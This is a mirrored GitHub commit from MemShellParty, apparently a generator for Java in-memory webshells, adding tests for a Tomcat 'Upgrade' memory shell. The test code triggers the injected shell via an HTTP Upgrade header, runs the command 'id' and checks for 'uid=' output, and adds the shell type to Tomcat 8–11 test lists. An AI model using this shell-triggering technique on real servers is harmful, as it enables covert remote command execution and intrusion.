mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support tomcat upgrade
This commit is contained in:
+22
-1
@@ -14,6 +14,7 @@ import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.packer.jar.*;
|
||||
import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker;
|
||||
import com.reajason.javaweb.suo5.Suo5Manager;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -206,7 +207,27 @@ public class ShellAssertion {
|
||||
godzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
|
||||
break;
|
||||
case Command:
|
||||
commandIsOk(shellUrl, shellType, ((CommandConfig) generateResult.getShellToolConfig()).getParamName(), "id");
|
||||
String paramName = ((CommandConfig) generateResult.getShellToolConfig()).getParamName();
|
||||
if (ShellType.UPGRADE.equals(shellType)) {
|
||||
String shellClassName = generateResult.getShellClassName();
|
||||
OkHttpClient okHttpClient = new OkHttpClient();
|
||||
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(shellUrl))
|
||||
.newBuilder()
|
||||
.addQueryParameter(paramName, "id")
|
||||
.build();
|
||||
Request request = new Request.Builder()
|
||||
.header("Connection", "Upgrade")
|
||||
.header("Upgrade", shellClassName)
|
||||
.url(url)
|
||||
.get().build();
|
||||
try (Response response = okHttpClient.newCall(request).execute()) {
|
||||
String res = response.body().string();
|
||||
System.out.println(res.trim());
|
||||
assertTrue(res.contains("uid="));
|
||||
}
|
||||
} else {
|
||||
commandIsOk(shellUrl, shellType, paramName, "id");
|
||||
}
|
||||
break;
|
||||
case Behinder:
|
||||
behinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig()));
|
||||
|
||||
+1
@@ -60,6 +60,7 @@ public class Tomcat10ContainerTest {
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.JAKARTA_PROXY_VALVE,
|
||||
ShellType.JAKARTA_WEBSOCKET,
|
||||
ShellType.UPGRADE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
|
||||
+1
@@ -61,6 +61,7 @@ public class Tomcat11ContainerTest {
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.JAKARTA_PROXY_VALVE,
|
||||
ShellType.JAKARTA_WEBSOCKET,
|
||||
ShellType.UPGRADE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
|
||||
+1
@@ -61,6 +61,7 @@ public class Tomcat8ContainerTest {
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.WEBSOCKET,
|
||||
ShellType.UPGRADE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||
List<Packers> testPackers = List.of(Packers.BigInteger, Packers.AgentJarWithJREAttacher);
|
||||
|
||||
+1
@@ -59,6 +59,7 @@ public class Tomcat9ContainerTest {
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.WEBSOCKET,
|
||||
ShellType.UPGRADE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
|
||||
Reference in New Issue
Block a user